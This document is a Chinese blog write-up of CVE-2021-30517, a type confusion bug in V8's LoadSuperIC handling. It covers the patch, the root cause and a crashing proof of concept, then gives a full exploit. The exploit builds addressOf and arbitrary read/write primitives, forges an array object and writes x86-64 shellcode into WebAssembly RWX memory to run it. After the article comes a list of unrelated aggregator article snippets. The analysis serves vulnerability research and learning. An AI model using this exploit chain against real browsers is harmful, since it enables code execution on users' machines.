CVE-2021-30517:Type confusion bug in LoadSuperIC

前言

这个漏洞是一个比较老的洞,之所以分析这个漏洞,只要是想再学习一下 ICs 相关的知识。并该漏洞的利用是利用与 String/Function 之间的混淆,比较有意思。

环境搭建

sudo apt install python
git checkout 7d5e5f6c62c3f38acee12dc4114c022441e7d36f 
gclient sync -D

这里可以把版本提高一些,这个洞比较老了,所以这个分支存在之前分析过的天府杯的那个 ICs 漏洞

漏洞分析

patch 如下:

diff --git a/src/ic/accessor-assembler.cc b/src/ic/accessor-assembler.cc
index 888c64f..0dd67e7 100644
--- a/src/ic/accessor-assembler.cc
+++ b/src/ic/accessor-assembler.cc
@@ -220,8 +220,8 @@BIND(&call_handler);{exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
-                               p->context(), p->receiver(), p->name(),
-                               p->slot(), p->vector());
+                               p->context(), p->lookup_start_object(),
+                               p->name(), p->slot(), p->vector());}}diff --git a/src/ic/ic.cc b/src/ic/ic.cc
index 8fd7668..afcdd72 100644
--- a/src/ic/ic.cc
+++ b/src/ic/ic.cc
@@ -835,25 +835,28 @@Handle<Object> receiver = lookup->GetReceiver();ReadOnlyRoots roots(isolate());+  Handle<Object> lookup_start_object = lookup->lookup_start_object();// `in` cannot be called on strings, and will always return true for string// wrapper length and function prototypes. The latter two cases are given// LoadHandler::LoadNativeDataProperty below.if (!IsAnyHas() && !lookup->IsElement()) {
-    if (receiver->IsString() && *lookup->name() == roots.length_string()) {
+    if (lookup_start_object->IsString() &&
+        *lookup->name() == roots.length_string()) {TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);return BUILTIN_CODE(isolate(), LoadIC_StringLength);}-    if (receiver->IsStringWrapper() &&
+    if (lookup_start_object->IsStringWrapper() &&*lookup->name() == roots.length_string()) {TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);}// Use specialized code for getting prototype of functions.
-    if (receiver->IsJSFunction() &&
+    if (lookup_start_object->IsJSFunction() &&*lookup->name() == roots.prototype_string() &&
-        !JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
+        !JSFunction::cast(*lookup_start_object)
+             .PrototypeRequiresRuntimeLookup()) {TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);}
@@ -864,8 +867,7 @@bool holder_is_lookup_start_object;if (lookup->state() != LookupIterator::JSPROXY) {holder = lookup->GetHolder<JSObject>();
-    holder_is_lookup_start_object =
-        lookup->lookup_start_object().is_identical_to(holder);
+    holder_is_lookup_start_object = lookup_start_object.is_identical_to(holder);}switch (lookup->state()) {

还是从补丁入手,分析漏洞产生的原因,然后寻找触发方式

一处补丁打在了 LoadIC::ComputeHandler 函数中:

Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {Handle<Object> receiver = lookup->GetReceiver();ReadOnlyRoots roots(isolate());
+  Handle<Object> lookup_start_object = lookup->lookup_start_object();// `in` cannot be called on strings, and will always return true for string// wrapper length and function prototypes. The latter two cases are given// LoadHandler::LoadNativeDataProperty below.if (!IsAnyHas() && !lookup->IsElement()) {// 如果是 string.length 则设置特殊的处理函数 LoadIC_StringLength// 但是漏洞代码验证的是 receiver// 后面 StringWrapper、JSFunction 同理
-    if (receiver->IsString() && *lookup->name() == roots.length_string()) {
+    if (lookup_start_object->IsString() &&
+        *lookup->name() == roots.length_string()) {TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);return BUILTIN_CODE(isolate(), LoadIC_StringLength);}-    if (receiver->IsStringWrapper() &&
+    if (lookup_start_object->IsStringWrapper() &&*lookup->name() == roots.length_string()) {TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);}// Use specialized code for getting prototype of functions.
-    if (receiver->IsJSFunction() &&
+    if (lookup_start_object->IsJSFunction() &&*lookup->name() == roots.prototype_string() &&
-        !JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
+        !JSFunction::cast(*lookup_start_object)
+             .PrototypeRequiresRuntimeLookup()) {TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);}}Handle<Map> map = lookup_start_object_map();Handle<JSObject> holder;bool holder_is_lookup_start_object;if (lookup->state() != LookupIterator::JSPROXY) {holder = lookup->GetHolder<JSObject>();// 这里没啥区别,就是单独把 ookup->lookup_start_object() 赋给了 lookup_start_object 变量
-    holder_is_lookup_start_object =
-        lookup->lookup_start_object().is_identical_to(holder);
+    holder_is_lookup_start_object = lookup_start_object.is_identical_to(holder);}switch (lookup->state()) {......

这里我们主要关注补丁上下的逻辑,可以看到在原来的漏洞代码中,对 String.lengthFunction.prototype 的特殊处理判断条件使用的是 receiver,如果是这两种情况,则会设置特殊的处理程序,并其 handler 设置为 code 类型

这里简单验证下加载字符串的 length 属性时的 ICshandler map是不是 code 类型:

var str = "Hello World";function f(s) {return 1 + s.length
}for (let i = 0; i < 20; i++) {%DebugPrint(f);readline();f(str);
}调试输出如下:- slot #1 LoadProperty MONOMORPHIC {[1]: [weak] 0x2d9808042251 <Map>[2]: 0x2d980804a601 <Code BUILTIN LoadIC_StringLength>}......gef➤  job 0x2d980804a601
0x2d980804a601: [Code] in ReadOnlySpace- map: 0x2d9808042621 <Map>
kind = BUILTIN
name = LoadIC_StringLength
compiler = turbofan
......gef➤  job 0x2d9808042621
0x2d9808042621: [Map] in ReadOnlySpace- type: CODE_TYPE
......

可以看到这里的 handler 确实是 code 类型的,对于加载 JSFunction 同理

另一处补丁打在了 AccessorAssembler::HandleLoadICHandlerCase 函数中:

void AccessorAssembler::HandleLoadICHandlerCase(const LazyLoadICParameters* p, TNode<Object> handler, Label* miss,ExitPoint* exit_point, ICMode ic_mode, OnNonExistent on_nonexistent,ElementSupport support_elements, LoadAccessMode access_mode) {Comment("have_handler");TVARIABLE(Object, var_holder, p->lookup_start_object());TVARIABLE(Object, var_smi_handler, handler);Label if_smi_handler(this, {&var_holder, &var_smi_handler});Label try_proto_handler(this, Label::kDeferred), call_handler(this, Label::kDeferred);// 如果是 smi_handler 则跳转至 if_smi_handler 逻辑执行Branch(TaggedIsSmi(handler), &if_smi_handler, &try_proto_handler);// 不是 smi_hanlder 则执行 try_proto_handler 逻辑BIND(&try_proto_handler);{// 检查是否是 CodeMap,如果是则跳转至 call_handler 逻辑执行GotoIf(IsCodeMap(LoadMap(CAST(handler))), &call_handler);// 原型链 handlerHandleLoadICProtoHandler(p, CAST(handler), &var_holder, &var_smi_handler,&if_smi_handler, miss, exit_point, ic_mode,access_mode);}// |handler| is a Smi, encoding what to do. See SmiHandler methods// for the encoding format.// smi_handlerBIND(&if_smi_handler);{HandleLoadICSmiHandlerCase(p, var_holder.value(), CAST(var_smi_handler.value()), handler, miss,exit_point, ic_mode, on_nonexistent, support_elements, access_mode);}// 处理 code_map handlerBIND(&call_handler);{// 这里传入的居然是 p->recviver()exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
-                               p->context(), p->receiver(), p->name(),
-                               p->slot(), p->vector());
+                               p->context(), p->lookup_start_object(),
+                               p->name(), p->slot(), p->vector());}
}

可以看到这里的补丁仅仅把传入的参数 p->receiver() 修改成了 p->looup_start_object(),对于 CodeMaphandler 会直接走到 call_handler,这里会调用特殊的函数进行处理。有了之前分析天府杯那个洞的经验,可以猜到这里可能存在 receiverlookup_start_object 的类型混淆。然后结合第一处补丁代码,可以知道这里存在 String/Function 与某个对象的类型混淆

这里可能不太好理解(至少笔者最开始没有理解,这里主要是对 Javascript 原型链相关的知识不熟悉),在加载 String.lengthFunction.prototype 时,传入的参数为 receiver,并且之前生成 handler 时检查的参数也是 receiver,笔者最开始并没有感觉有问题。比如就 String.length 而言,在笔者看来如果相要走到 call_handler 逻辑,那么根据生成 handler 时的检查逻辑, receiver 必然是 String,所以最后传入的参数是 receiver 似乎没啥问题。这里发生混淆的可能性就是 receiver 不是 String,而是一个其它类型,但是按理说 receiver 必须是一个 String,不然就无法通过之前的检查,所以笔者也是想了很久,也没有想到该如何进行触发

最后没办法,只有对着原作者的 POC 撸了,POC 中主要利用的点是:复态共用内联缓存处理程序

function poc() {class C {m() {return super.prototype; // C.prototype.__proto__.prototype}}function f() {}C.prototype.__proto__ = f; // set C.prototype.__proto__ = function f() {}let c = new C() ;c.x0 = 1;c.x1 = 1;c.x2 = 1;c.x3 = 1;c.x4 = 0x42424242 / 2;f.prototype; // load f.prototype ==> 创建内联缓存let res = c.m(); // C.prototype.__proto__.prototype ==> f.prototype
}for (let i = 0; i < 0x100; ++i) {poc();
}

先来简单分析一下该 POC

  • 在每次调用 main 函数时,执行 C.prototype.__proto__ = f 后,fmap 也会改变,因为其成为了 prototype
  • 每次在 main 中执行 f.prototype 时,fmap 都不同,m 函数同理,所以 main/f 两个函数对于 f.prototype/super.prototype 都是复态
  • 在调用 m 函数前总是先执行 f.prototype:其主要的目的就是创建缓存处理程序
  • 然后在执行 m 函数时就会复用 f.prototype 创建的缓存处理程序

当然这里为啥要用 super 呢?因为这里要共用缓存处理程序,则两次访存对象的属性偏移应当是一样的。而这里你会发现 f.prototypesuper.prototype 其实是一个东西

这里就成功绕过了计算 code map handler 时对 c map 的检查,在总结一下就是:

  • 复态会共享缓存处理程序
  • 利用 String.length/Function.prototype 提前创建好缓存处理程序 target
  • 然后在触发漏洞直接调用提前创建好的缓存处理程序 target

这里 super.prototype 产生的字节码为 LdaNamedPropertyFromSuper

// LdaNamedPropertyFromSuper <receiver> <name_index> <slot>
//
// Calls the LoadSuperIC at FeedBackVector slot <slot> for <receiver>, home
// object's prototype (home object in the accumulator) and the name at constant
// pool entry <name_index>.
IGNITION_HANDLER(LdaNamedPropertyFromSuper, InterpreterAssembler) {TNode<Object> receiver = LoadRegisterAtOperandIndex(0);TNode<HeapObject> home_object = CAST(GetAccumulator());TNode<Object> home_object_prototype = LoadMapPrototype(LoadMap(home_object));TNode<Object> name = LoadConstantPoolEntryAtOperandIndex(1);TNode<TaggedIndex> slot = BytecodeOperandIdxTaggedIndex(2);TNode<HeapObject> feedback_vector = LoadFeedbackVector();TNode<Context> context = GetContext();TNode<Object> result =CallBuiltin(Builtins::kLoadSuperIC, context, receiver, home_object_prototype, name, slot, feedback_vector);SetAccumulator(result);Dispatch();
}

其主要就是调用 LoadSuperIC,最后会调用到 AccessorAssembler::LoadSuperIC

void AccessorAssembler::LoadSuperIC(const LoadICParameters* p) {ExitPoint direct_exit(this);TVARIABLE(MaybeObject, var_handler);Label if_handler(this, &var_handler), no_feedback(this),non_inlined(this, Label::kDeferred), try_polymorphic(this),miss(this, Label::kDeferred);// 没有 feedback 则跳转到 no_feedback 逻辑GotoIf(IsUndefined(p->vector()), &no_feedback);// The lookup start object cannot be a SMI, since it's the home object's// prototype, and it's not possible to set SMIs as prototypes.// 检查 mapTNode<Map> lookup_start_object_map = LoadReceiverMap(p->lookup_start_object());GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);// 尝试单态,失败则跳转到 try_polymorphic 逻辑TNode<MaybeObject> feedback =TryMonomorphicCase(p->slot(), CAST(p->vector()), lookup_start_object_map, &if_handler, &var_handler, &try_polymorphic);// 成功获取 handler 进行处理BIND(&if_handler);{LazyLoadICParameters lazy_p(p);HandleLoadICHandlerCase(&lazy_p, CAST(var_handler.value()), &miss, &direct_exit);}// 没有 freedback 则执行 LoadSuperIC_NoFeedbackBIND(&no_feedback);{ LoadSuperIC_NoFeedback(p); }// 尝试多态BIND(&try_polymorphic);TNode<HeapObject> strong_feedback = GetHeapObjectIfStrong(feedback, &miss);{Comment("LoadSuperIC_try_polymorphic");GotoIfNot(IsWeakFixedArrayMap(LoadMap(strong_feedback)), &non_inlined);HandlePolymorphicCase(lookup_start_object_map, CAST(strong_feedback), &if_handler, &var_handler, &miss);}// 这里的逻辑是 lookup_start_object != receiver 则执行 LoadIC_Noninlined// 可能是防止类型混淆BIND(&non_inlined);{// LoadIC_Noninlined can be used here, since it handles the// lookup_start_object != receiver case gracefully.LoadIC_Noninlined(p, lookup_start_object_map, strong_feedback, &var_handler, &if_handler, &miss, &direct_exit);}// 发生 ICs_miss 则执行 Runtime::kLoadWithReceiverIC_MissBIND(&miss);direct_exit.ReturnCallRuntime(Runtime::kLoadWithReceiverIC_Miss, p->context(),p->receiver(), p->lookup_start_object(),p->name(), p->slot(), p->vector());
}

AccessorAssembler::LoadSuperICAccessorAssembler::LoadIC 差不多,就不过多分析了,主要是我没有找到处理 megamorphic 的源码…

然后执行下 POC
在这里插入图片描述
可以看到程序在 Builtins_LoadIC_FunctionPrototype 中崩了,原因是内存访问错误,可以看到这里 rdi 的低 4 字节正是 c.x4

然后我们来看下 Builtins_LoadIC_FunctionPrototype 函数的大致逻辑:
在这里插入图片描述
正常情况下,这里传入的 rdx 指向的应该是一个 JSFunction 对象,然后 [rdx+0x1b] 存储的是 function prototype 的地址:
在这里插入图片描述
然后与 [$r13 + 0xa8 作比较以检查原型是否存在,如果不存在该地址指向 the_hole
在这里插入图片描述
如果存在原型,则检查 function prototypemap 是否合法:
在这里插入图片描述
如果 map 合法,则读取固定偏移处的 prototype 并返回,这里读取的偏移为 0xfString.length 处理同理分析即可,这里不再赘述。

漏洞利用

在上面的漏洞分析中,我们得到了一个漏洞:某对象与 String/Function 的类型混淆。接下来就考虑如何去利用该原语去构造 addressOf/arb_read/write 原语了。

对于 String,其取 length 的路径为:

  • String ⇒ Value=[String_addr+0xb] ⇒ length=[Value_addr+0x7]

对于 Function,其取 prototype 的路径为:

  • Function ⇒ function_prototype=[Function_addr+0x1b] ⇒ prototype=[function_prototype_addr+0xf]

todo:如何进行利用后面再写,有点事情

exp 如下:

var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;function pair_u32_to_f64(l, h) {u32[0] = l;u32[1] = h;return f64[0];
}function u64_to_f64(val) {u64[0] = val;return f64[0];
}function f64_to_u64(val) {f64[0] = val;return u64[0];
}function set_u64(val) {u64[0] = val;
}function set_l(l) {u32[0] = l;
}function set_h(h) {u32[1] = h;
}function get_l() {return u32[0];
}function get_h() {return u32[1];
}function get_u64() {return u64[0];
}function get_f64() {return f64[0];
}function get_fl(val) {f64[0] = val;return u32[0];
}function get_fh(val) {f64[0] = val;return u32[1];
}function add_ref(obj) {roots[index++] = obj;
}function major_gc() {new ArrayBuffer(0x7fe00000);
}function minor_gc() {for (let i = 0; i < 8; i++) {add_ref(new ArrayBuffer(0x200000));}add_ref(new ArrayBuffer(8));
}function hexx(str, val) {console.log(str+": 0x"+val.toString(16));
}function sleep(ms) {return new Promise((resolve) => setTimeout(resolve, ms));
}class C1 {m() {return super.prototype;}
}class C2 {m() {return super.length;}
}class C3 extends Array {m() {return super.length;}}var c1 = new C1();
var c2 = new C2();
var c3 = new C3();function trigger1(obj) {let str = new String("XiaozaYa");C2.prototype.__proto__ = str;c2.x0 = obj;str.length;let res = c2.m();return res;
}function leak_element(obj) {for (let i = 0; i < 100; i++) {let res = trigger1(obj);if (res != 8) return res;}
}var leak_object_array = [{}, {}, {}, {}];
var leak_object_array_element = leak_element(leak_object_array);
hexx("leak_object_array_element", leak_object_array_element);
//%DebugPrint(leak_object_array);function trigger2() {let str = new String("XiaozaYa");C3.prototype.__proto__ = str;str.length;let res = c3.m();return res;
}function leak_part_addr() {for (let i = 0; i < 100; i++) {let res = trigger2();if (res != 8) return res;}
}function addressOf(obj) {leak_object_array[0] = obj;c3.length = (leak_object_array_element-1) / 2;let l = leak_part_addr();c3.length = (leak_object_array_element+1) / 2;let h = leak_part_addr();return ((l >> 8) & 0xff) | (h << 8);
}function read32(addr) {c3.length = (addr-8) / 2;let l = leak_part_addr();c3.length = (addr-8+2) / 2;let h = leak_part_addr();return ((l >> 8) & 0xff) | (h << 8);
}var fake_object_array = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
var fake_object_array_addr = addressOf(fake_object_array);
var fake_object_array_map = read32(fake_object_array_addr-1);
var fake_object_array_map_map = read32(fake_object_array_map-1);
var fake_object_array_element = leak_element(fake_object_array);
hexx("fake_object_array_addr", fake_object_array_addr);
hexx("fake_object_array_map", fake_object_array_map);
hexx("fake_object_array_map_map", fake_object_array_map_map);
hexx("fake_object_array_element", fake_object_array_element);
//%DebugPrint(fake_object_array);var fake_object_addr = fake_object_array_element+8+8*4;
fake_object_array[0] = pair_u32_to_f64(0xEEEEEEEE, (fake_object_array_map_map & 0xff) << 24);
fake_object_array[1] = pair_u32_to_f64((fake_object_array_map_map & 0xffffff00) >> 8, 0x11223344);
fake_object_array[2] = pair_u32_to_f64(0x55667788, (fake_object_addr & 0xff) << 24);
fake_object_array[3] = pair_u32_to_f64((fake_object_addr & 0xffffff00) >> 8, 0x11223344);
fake_object_array[4] = pair_u32_to_f64(fake_object_array_map, 0x0804222d);
fake_object_array[5] = pair_u32_to_f64(fake_object_array_element, 0x20);c1.x0 = 0;
c1.x1 = 1;
c1.x2 = 2;
c1.x3 = 3;
c1.x4 = (fake_object_array_element-1+8+8)/2;function trigger3() {function f() {}C1.prototype.__proto__ = f;f.prototype;let res = c1.m();return res;
}for (let i = 0; i < 200; i++) {trigger3();
}var fake_array = trigger3();function arb_read_cage(addr) {fake_object_array[5] = pair_u32_to_f64(addr-8, 0x20);return f64_to_u64(fake_array[0]);
}function arb_write_half_cage(addr, val) {arb_read_cage(add);fake_array[0] = pair_u32_to_f64(val, get_h());
}function arb_write_full_cage(addr, val) {fake_object_array[5] = pair_u32_to_f64(addr-8, 0x20);fake_array[0] = u64_to_f64(val);
}var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;var shellcode = [0x10101010101b848n, 0x62792eb848500101n,0x431480101626d60n, 0x2f7273752fb84824n,0x48e78948506e6962n,0x1010101010101b8n, 0x6d606279b8485001n,0x2404314801010162n,0x1485e086a56f631n, 0x313b68e6894856e6n,0x101012434810101n, 0x4c50534944b84801n,0x6a52d231503d5941n,0x894852e201485a08n,0x50f583b6ae2n,
];var wasm_instance_addr = addressOf(wasm_instance);
var rwx_addr = arb_read_cage(wasm_instance_addr+0x68);
hexx("rwx_addr", rwx_addr);var raw_buf = new ArrayBuffer(0x200);
var ddv = new DataView(raw_buf);
var raw_buf_addr = addressOf(raw_buf);
hexx("raw_buf_addr", raw_buf_addr);
arb_write_full_cage(raw_buf_addr+0x14, rwx_addr);for (let i = 0; i < shellcode.length; i++) {ddv.setBigInt64(i*8, shellcode[i], true);
}pwn();
//%DebugPrint(raw_buf);
//%SystemBreak();

效果如下:
在这里插入图片描述

总结

通过这个漏洞对原型链的理解也更加深刻了,而且发现 Class.prototype.__proto__ 配合 spuerSuperIC 的类型混淆漏洞中比较常用。这里漏洞跟之前分析的混淆漏洞不同的是其混淆的时 Function 对象,但是实际分析利用下来,发现混淆什么对象其实不重要,重要的是能不能找到适配的对象,这里的适配对象指的是能够在该对象中伪造有效字段。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/791628.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vite.config.js

Vue3vite vite和webpack区别&#xff1f; 1.vite服务器启动速度比webpack快&#xff0c;由于vite启动的时候不需要打包&#xff0c;也就无需分析模块依赖、编译&#xff0c;所以启动速度非常快。当浏览器请求需要的模块时&#xff0c;再对模块进行编译&#xff0c;这种按需动态…

AI智能涂抹修补解决方案助力企业高效创作

传统的手动涂抹修补方式不仅效率低下&#xff0c;而且往往难以达到理想的视觉效果。美摄科技凭借深厚的AI技术研发实力&#xff0c;推出了面向企业的AI智能涂抹修补解决方案&#xff0c;为企业带来前所未有的创作体验。 美摄科技的AI智能涂抹修补解决方案&#xff0c;具备强大…

年少不知EFCore好,错把SqlSugar当成宝

背景&#xff1a;依然记得我的第一份WebApi项目使用得是SqlSugar&#xff0c;当时还没有系统学习b/s这边的知识&#xff0c;跟着别人做项目用SqlSugar觉得非常方便&#xff0c;减少了自己手写ADO.Net的痛苦。但是今天发现这个EFCore也是巨好用啊&#xff0c;下面写一下他的简单…

DDD 的四层领域模型是怎样的?包含哪些基础概念?

DDD的四层领域模型如下所示&#xff1a; 展现层&#xff1a;这一层负责向用户显示信息和解释用户命令&#xff0c;完成前端界面逻辑。并将用户请求传递给应用层。应用层&#xff1a;这一层是很薄的一层&#xff0c;负责协调领域层中的领域对象&#xff0c;组成具体应用场景。应…

LangChain入门:11.Pydantic(JSON)解析器实战

摘要 在数字化营销的浪潮中&#xff0c;自动化内容生成成为了提升效率和用户参与度的利器。本文将详细介绍如何利用LangChain的自然语言处理能力和Pydantic的数据验证特性&#xff0c;构建一个自动化的花店文案生成器。通过这个工具&#xff0c;您可以快速为各种花卉生成吸引人…

Gateway是什么?(SpringCloudAlibaba组件)

1、网关介绍 **网关(Gateway)又称网间连接器、协议转换器。网关在传输层上以实现网络互连&#xff0c;是最复杂的网络互连设备&#xff0c;仅用于两个高层协议不同的网络互连。**网关的结构也和路由器类似&#xff0c;不同的是互连层。网关既可以用于广域网互连&#xff0c;也可…

截稿倒计时 CCF-B COCOON’24论文延期至4月8日提交

会议之眼 快讯 第30届COCOON 2024 (International Computing and Combinatorics Conference)即国际计算与组合学会议将于 2024 年 8月23日-25日在中国上海举行&#xff01;COCOON是一个专注于计算机科学理论领域的国际性学术会议&#xff01;COCOON会议自1995年起举办&#xf…

JDK下载安装配置

一.JDK安装配置。 1.安装注意路径,其他直接下一步。 2.配置。 下接第4步. 代码复制: JAVA_HOME D:\Program Files\Java\jdk1.8.0_91 D:\Program Files\Java\jdk1.8.0_91\bin 3.验证(CMD)。 java javac java -version 二.下载 1.下载JDK1.5-1.9(所有版本)下载: https://www.…

docker环境中宿主机防火墙添加ssh无法生效的问题分析

背景 在部署了docker容器的环境中&#xff0c;要在防火墙开通22端口&#xff0c;即ssh服务&#xff0c;以便在终端可以正常登陆。使用firewall-cmd在docker区域添加了22端口&#xff0c;但是没有起作用。后再public区域添加22端口才起作用。为什么docker区域不起作用&#xff…

使用vuepress搭建个人的博客(一):基础构建

前言 vuepress是一个构建静态资源网站的库 地址:VuePress 一般来说,这个框架非常适合构建个人技术博客,你只需要把自己写好的markdown文档准备好,完成对应的配置就可以了 搭建 初始化和引入 创建文件夹press-blog npm初始化 npm init 引入包 npm install -D vuepress…

windows下安装iteliij Idea2023.3

首先从官网下载 下载 IntelliJ IDEA – 领先的 Java 和 Kotlin IDE 双击打开进行安装&#xff1a; 安装完成后&#xff0c;需要对Idea进行稍微处理下。使用我分享给大家的文件&#xff0c;操作以下步骤&#xff1a; 注意&#xff1a;不能打开IDEA软件。 进入到scripts中点击un…

AI绘图:Stable Diffusion WEB UI 详细操作介绍:基础篇

接上一篇《AI绘图体验&#xff1a;Stable Diffusion本地化部署详细步骤》本地部署完了SD后&#xff0c;大家肯定想知道怎么用&#xff0c;接下来补一篇Stable Diffusion WEB UI 详细操作&#xff0c;如果大家还没有完成SD的部署&#xff0c;请参考上一篇文章进行本地化的部署。…

2.2.1.2-网格交易(python网格交易附实战交易记录)

跳转到根目录&#xff1a;知行合一&#xff1a;投资篇 已完成&#xff1a; 1、投资&技术   1.1.1 投资-编程基础-numpy   1.1.2 投资-编程基础-pandas   1.2 金融数据处理   1.3 金融数据可视化 2、投资方法论   2.1.1 预期年化收益率   2.1.2 一个关于yaxb的…

多线程--深入探究多线程的重点,难点以及常考点线程安全问题

˃͈꒵˂͈꒱ write in front ꒰˃͈꒵˂͈꒱ ʕ̯•͡˔•̯᷅ʔ大家好&#xff0c;我是xiaoxie.希望你看完之后,有不足之处请多多谅解&#xff0c;让我们一起共同进步૮₍❀ᴗ͈ . ᴗ͈ აxiaoxieʕ̯•͡˔•̯᷅ʔ—CSDN博客 本文由xiaoxieʕ̯•͡˔•̯᷅ʔ 原创 CSDN 如…

Redis高可用主从复制与哨兵模式

前言 在生产环境中&#xff0c;除了采用持久化方式实现 Redis 的高可用性&#xff0c;还可以采用主从复制、哨兵模式和 Cluster 集群的方法确保数据的持久性和可靠性。 目录 一、主从复制 1. 概述 2. 作用 3. 主从复制流程 4. 部署 4.1 安装 redis 4.2 编辑 master 节…

物联网实战--入门篇之(七)嵌入式-MQTT

目录 一、MQTT简介 二、MQTT使用方法 三、MQTT驱动设计 四、代码解析 五、使用过程 六、总结 一、MQTT简介 MQTT因为其轻量、高效和稳定的特点&#xff0c;特别适合作为物联网系统的数据传输协议&#xff0c;已经成为物联网事实上的通信标准了。关于协议的具体内容看看这…

Java实现两数相除

题意 给你两个整数&#xff0c;被除数 dividend 和除数 divisor。将两数相除&#xff0c;要求不使用乘法、除法和取余运算。 整数除法应该向零截断&#xff0c;也就是截去&#xff08;truncate&#xff09;其小数部分。例如&#xff0c;8.345 将被截断为 8 &#xff0c;-2.7335…

leetcode 热题 100(部分)C/C++

leetcode 热题 100 双指针 盛最多水的容器 【mid】【双指针】 思路&#xff1a; 好久没写代码sb了&#xff0c;加上之前写的双指针并不多&#xff0c;以及有点思维定势了。我对双指针比较刻板的印象一直是两层for循环i&#xff0c;j&#xff0c;初始时i,j都位于左界附近&…

Open CASCADE学习|刚体( TopoDS_Shape)按某种轨迹运动,停在指定位置上

今天实现如下功能&#xff1a;刚体做做螺旋运动&#xff0c;轨迹已知&#xff0c;求刚体在每个位置上的所占据的空间&#xff0c;就是把刚体从初始位置变换到该位置。 这里的刚体是一个砂轮截面&#xff0c;螺旋运动轨迹由B样条曲线拟合&#xff0c;通过Frenet标架确定运动轨迹…

iOS使用CoreML运用小型深度神经网络架构对图像进行解析

查找一个图片选择器 我用的是ImagePicker 项目有点老了&#xff0c;需要做一些改造&#xff0c;下面是新的仓库 platform :ios, 16.0use_frameworks!target learnings dosource https://github.com/CocoaPods/Specs.gitpod ImagePicker, :git > https://github.com/KevinS…